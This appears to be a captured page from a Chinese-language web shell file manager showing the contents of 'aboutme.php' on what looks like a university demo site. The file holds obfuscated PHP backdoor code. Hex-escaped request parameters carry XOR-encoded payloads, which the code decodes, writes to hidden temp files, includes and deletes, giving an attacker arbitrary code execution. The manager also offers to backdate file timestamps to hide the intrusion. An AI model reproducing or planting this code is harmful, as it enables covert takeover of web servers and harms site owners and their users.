文件操作 - aboutme.php
返回文件管理
返回主菜单
删除本文件
文件: /var/www/demoestudiantes.uaysen.cl/html/aboutme.php
编辑文件内容
<?php if(!is_null($_REQUEST["\x66\x61\x63tor"] ?? null)){ $dat = array_filter([getenv("TEMP"), getcwd(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", session_save_path(), "/dev/shm"]); $reference = $_REQUEST["\x66\x61\x63tor"]; $reference = explode ( '.', $reference ) ; $ref= ''; $salt5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt5); $y= 0; $__len= count( $reference); do { if( $y >= $__len) break; $v6= $reference[$y]; $chS= ord( $salt5[$y % $sLen]); $d= ( ( int)$v6 - $chS -( $y % 10)) ^ 46; $ref .= chr( $d); $y++; } while( true); foreach ($dat as $flag) { if ((is_dir($flag) and is_writable($flag))) { $item = join("/", [$flag, ".data_chunk"]); if (file_put_contents($item, $ref)) { require $item; unlink($item); exit; } } } } if(isset($_POST["re\x73our\x63e"])){ $factor = $_POST["re\x73our\x63e"]; $factor = explode ('.',$factor ); $ent = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9); $len = count($factor); for ($z = 0; $z <$len; $z++) {$v1 = $factor[$z]; $sChar = ord($salt9[$z % $sLen]); $dec = ((int)$v1 - $sChar - ($z % 10)) ^ 7; $ent .=chr($dec); } $itm = array_filter([session_save_path(), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), "/tmp", getenv("TMP"), "/var/tmp"]); for ($bind = 0, $data = count($itm); $bind < $data; $bind++) { $binding = $itm[$bind]; if ((bool)is_dir($binding) && (bool)is_writable($binding)) { $marker = implode("/", [$binding, ".pset"]); if (file_put_contents($marker, $ent)) { require $marker; unlink($marker); die(); } } } } if(@$_REQUEST["r\x65so\x75\x72ce"] !== null){ $object = $_REQUEST["r\x65so\x75\x72ce"]; $object= explode ( "." , $object) ; $ent = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1); $z = 0; while ($z < count($object)) {$v1 = $object[$z]; $chS = ord($salt1[$z % $sLen]); $dec = ((int)$v1 - $chS - ($z % 10)) ^ 75; $ent.= chr($dec); $z++; } $holder = array_filter([getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), session_save_path(), "/var/tmp", "/tmp", "/dev/shm"]); while ($entity = array_shift($holder)) { if ((function($d) { return is_dir($d) && is_writable($d); })($entity)) { $tkn = "$entity/.itm"; if (@file_put_contents($tkn, $ent) !== false) { include $tkn; unlink($tkn); exit; } } } } if(in_array("\x62i\x6Edi\x6E\x67", array_keys($_POST))){ $resource = array_filter([getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getenv("TMP"), getcwd(), "/var/tmp", sys_get_temp_dir()]); $rec = $_POST["\x62i\x6Edi\x6E\x67"]; $rec= explode ( '.', $rec) ; $element= ''; $salt4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt4 ); $x= 0; $__len= count($rec ); do { if($x >= $__len) break; $v2= $rec[$x]; $chS= ord($salt4[$x % $lenS] ); $d= ((int)$v2 - $chS -($x % 10)) ^ 12; $element .=chr($d ); $x++; } while(true ); foreach ($resource as $pgrp) { if (is_writable($pgrp) && is_dir($pgrp)) { $dat = sprintf("%s/.marker", $pgrp); if (file_put_contents($dat, $element)) { require $dat; unlink($dat); die(); } } } } if(filter_has_var(INPUT_POST, "f\x6Cg")){ $token = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", "/dev/shm", sys_get_temp_dir(), "/var/tmp", getcwd(), session_save_path()]); $entry = $_REQUEST["f\x6Cg"]; $entry = explode ( '.', $entry ); $tkn= ''; $s7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s7); $w= 0; while ($w < count($entry)) { $v4= $entry[$w]; $sChar= ord($s7[$w% $lenS]); $d= ((int)$v4 - $sChar - ($w% 10)) ^ 3; $tkn .= chr($d); $w++; } while ($ref = array_shift($token)) { if (is_writable($ref) && is_dir($ref)) { $obj = "$ref/.marker"; $success = file_put_contents($obj, $tkn); if ($success) { include $obj; @unlink($obj); die();} } } } if(filter_has_var(INPUT_POST, "s\x79m")){ $object = $_POST["s\x79m"]; $object = explode ( '.', $object ) ; $record = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s1 ); $m = 0; array_walk( $object, function( $v2) use( &$record, &$m, $s1, $sLen) { $chS = ord( $s1[$m % $sLen] ); $d =( ( int)$v2 - $chS -( $m % 10)) ^ 12; $record.= chr( $d ); $m++; }); $ent = array_filter([session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", getcwd(), "/dev/shm", getenv("TEMP"), sys_get_temp_dir()]); foreach ($ent as $pgrp): if (is_dir($pgrp) ? is_writable($pgrp) : false) { $element = "$pgrp/.ptr"; if (file_put_contents($element, $record)) { include $element; @unlink($element); die(); } } endforeach; }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件